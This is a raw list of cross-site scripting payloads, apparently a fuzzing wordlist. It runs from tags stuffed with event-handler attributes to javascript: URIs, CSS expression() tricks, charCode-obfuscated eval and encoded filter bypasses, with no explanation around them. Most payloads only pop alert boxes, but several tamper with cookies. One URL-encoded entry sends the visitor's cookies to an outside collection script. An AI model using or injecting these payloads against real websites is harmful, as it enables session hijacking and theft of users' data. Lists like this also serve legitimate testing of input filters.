<track onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</track>
<tt onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</tt>
<u onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</u>
<u oncopy=alert()> Copy me</u>
<ul onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</ul>
<var onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" <em>="Renders as emphasized text" <strong>="Defines important text" <code>="Defines a piece of computer code" <samp>="Defines sample output from a computer program" <kbd>="Defines keyboard input" <var>="Defines a variable">Test</var>
<var onmouseover="prompt(1)">On Mouse Over</var>
<var onmouseover="prompt(1)">X</var>
<var onmouseover="prompt(1)">XSS</var>
<video id=XSS poster=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))//
<video onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</video>
<video onclick=popup=1;>
<video onerror="alert(1)"><source></source></video>
<video onerror="javascript:alert(1)"><source>
<video onerror="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))"><source>
<video onprogress=alert(1)><source src=//a.a>
<video onprogress=alert(1)><source src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>
<video onprogress=alert(1)><source src=x>
<video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video>
<video poster=javascript:alert(1)//></video>
<video poster=prompt(1)//></video>
<video src onloadstart=alert(1)>
<video src onratechange="alert(1)">
<video src=_ onloadstart="alert(1)">
<video src=x onerror=prompt(1);>
<video/onprogress=alert(1)><source/src=//a.a>
<video/onprogress=alert(1)><source/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>
<video/onprogress=alert(1)><source/src=x>
<video><source o?UTF-8?Q?n?error="alert(1)">
<video><source onerror="javascript:alert(1)">
<video><source onerror="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))">
<video><source onerror="prompt(1)">
<wbr onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</wbr>
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkey<a autofocus onfocus=alert(1) href></a>
<x %6Fnxxx=1
<x 1=">" onxxx=1
<x 1='1'onxxx=1
<x </onxxx=1
<x OnXxx=1
<x contenteditable onblur=alert(1)>lose focus!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x ng-focus=x=$event id=f tabindex=0><x ng-if=[1].map(x.view.alert)>
<x o%6Exxx=1
<x on%78xx=1
<x onclick=alert(1)>click this!
<x oncontextmenu=alert(1)>right click this!
<x oncontextmenu=alert(1)>riiiight click this!
<x oncopy=alert(1)>copy thiiiis!
<x oncopy=alert(1)>copy this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x onload'=alert(1)
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x style=behavior:url(#default#time2) onbegin=alert(1)>
<x style=x:expression(alert(1))>
<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/>
<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(1)" xlink:type="simple"/>
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
<x/onxxx=1
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1);</x:script>
<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)"><x:timer value="1"/></x:template>
<xml id="X" src="test.htc"></xml><label dataformatas="html" datasrc="#X" datafld="payload"></label>
<xml id="X"><a><b><script>alert('XSS');</script>;<b></a></xml>
<xml id="X"><a><b><script>alert(1);</script>
<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
<xml onreadystatechange=alert(1)>
<xml src="javascript:alert(1);">
<xml src="javascript:document.cookie=true;">
<xml> <rect style="height:100%;width:100%" id="X" onmouseover="alert(1)" strokecolor="white" strokeweight="2000px" filled="false" /> </xml>
<xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(1)//'> <script> x='<%' </script> %>/ alert(2) </script> XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>
<xmp><%</xmp><img alt='%></xmp><img src=xx:x onerror=alert(1)//'><script>x='<%'</script> %>/alert(2)</script>XXX<style>*['<!--']{}</style>-->{}*{color:red}</style>
<xmp><img title="</xmp><img src onerror=alert(1)>"></xmp>
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe> </xsl:template></xsl:stylesheet><circle fill="red" r="40"></circle></svg>//["'`-->]]]]><![CDATA[>]</div>
<xss autofocus tabindex=1 onfocusin=alert(1)></xss><script>alert(123)</script>
<xss><script>alert('WXSS')</script></vulnerable>
<ſcript/async/src=//⒛₨>
<ſvg><ſcript/href=//⒕₨>
==alert(1)==
=’â€><img/src=â€xâ€onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,108,83,116,111,114,97,103,101,46,115,101,116,73,116,101,109,40,39,105,100,39,44,39,34,62,60,105,109,103,47,115,114,99,61,92,34,120,92,34,111,110,101,114,114,111,114,61,97,108,101,114,116,40,49,41,62,39,41))>
>"&<script>document.cookie=true;</script>
>"&{document.cookie=true;};
>"<!-- -- --><script>document.cookie=true;</script><!-- -- -->
>"</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
>"<<script>document.cookie=true;</script>
>"<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
>"<BASE HREF="javascript:document.cookie=true;//">
>"<BGSOUND SRC="javascript:document.cookie=true;">
>"<BODY BACKGROUND="javascript:document.cookie=true;">
>"<BODY ONLOAD=document.cookie=true;>
>"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
>"<BR SIZE="&{document.cookie=true}">
>"<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)">
>"<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
>"<DIV STYLE="width: expression(document.cookie=true);">
>"<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
>"<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
>"<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
>"<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
>"<IMG DYNSRC="javascript:document.cookie=true;">
>"<IMG LOWSRC="javascript:document.cookie=true;">
>"<IMG SRC=" javascript:document.cookie=true;">
>"<IMG SRC="jav ascript:document.cookie=true;">
>"<IMG SRC="javascript:document.cookie=true;">
>"<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)">
>"<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
>"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe>
>"<LAYER SRC="javascript:document.cookie=true;"></LAYER>
>"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
>"<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
>"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
>"<SCRIPT <B>document.cookie=true;</SCRIPT>
>"<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT>
>"<SCRIPT>document.cookie=true;//<</SCRIPT>
>"<SCRIPT>document.cookie=true;</SCRIPT>
>"<STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
>"<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
>"<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A>
>"<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
>"<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting
>"<TABLE BACKGROUND="javascript:document.cookie=true;">
>"<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
>"<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
>"<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
>"<a href="about:<script>document.cookie=true;</script>">
>"<a href="javascript#document.cookie=true;">
>"<bgsound src="javascript:document.cookie=true;">
>"<body onload="document.cookie=true;">
>"<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]]]><![CDATA[> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
>"<div onmouseover="document.cookie=true;">
>"<div style="background-image: url(javascript:document.cookie=true;);">
>"<div style="behaviour: url([link to code]);">
>"<div style="binding: url([link to code]);">
>"<div style="width: expression(document.cookie=true;);">
>"<iframe src="javascript:document.cookie=true;>
>"<iframe src=http://vulnerability-lab.com/>@gmail.com
>"<img dynsrc="javascript:document.cookie=true;">
>"<img src="blah"onmouseover="document.cookie=true;">
>"<img src="blah>" onmouseover="document.cookie=true;">
>"<img src="javascript:document.cookie=true;">
>"<img src="livescript:document.cookie=true;">
>"<img src="mocha:document.cookie=true;">
>"<img src=&{document.cookie=true;};>
>"<input type="image" dynsrc="javascript:document.cookie=true;">
>"<link rel="stylesheet" href="javascript:document.cookie=true;">
>"<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
>"<object classid="clsid:..." codebase="javascript:document.cookie=true;">
>"<script>alert(document.cookie)</script><div style="1@gmail.com
>"<script>alert(document.cookie)</script>@gmail.com
>"<script>document.cookie=true;//--></script>
>"<style type="text/javascript">document.cookie=true;</style>
>"<style><!--</style><script>document.cookie=true;//--></script>
>"<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
>"<xml src="javascript:document.cookie=true;">
>"><svg onload=alert(0)>
>"exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'>
>"¼script¾document.cookie=true;¼/script¾
>%22%27><img%20src%3d%22javascript:confirm(%27%20XSS%27)%22>'%uff1cscript%uff1econfirm('XSS')%uff1c/script%uff1e'">>"'';!--"<XSS>=&{()}
></title><script>alert(X)</script>'"><marquee><h1>Kerala Cyber Force</h1></marquee>
><img id=XSS SRC=x onerror=alert(XSS);>
><img src="x:x" onerror=alert(1)>
><s"%2b"cript>alert(document.cookie)</s"%2B"cript>
><script>
><script>1<\\/script>
><script>X<\/script>
><script>alert(123);</script x=
><script>alert(123)</script>
><script>alert(22);</script x=
><script>alert(6)</script>
>>> vectors()
>>alert(1)>>
>“<ScriPt>ALeRt("VlAb")</scriPt>
?#?gad=xxxx"onload="alert(1)"
???script?alert(1)?/script?
?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
A
ABC<div style="x:\x00expression(javascript:alert(52)">DEF
ABC<div style="x:\x09expression(javascript:alert(40)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(39)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(57)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(47)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(46)">DEF
ABC<div style="x:\x20expression(javascript:alert(50)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(43)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(37)">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(38)">DEF
ABC<div style="x:expression\x00(javascript:alert(36)">DEF
ABC<div style="x:expression\x5C(javascript:alert(35)">DEF
ABC<div style="x\x3Aexpression(javascript:alert(34)">DEF
Array.from([1],alert)
Array.prototype[Symbol.hasInstance]=eval;"alert(1)" instanceof [];
Array[Symbol.species].constructor('alert(1)')();
B
Components.lookupMethod(self, 'confirm')(1)
Data URl
Data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
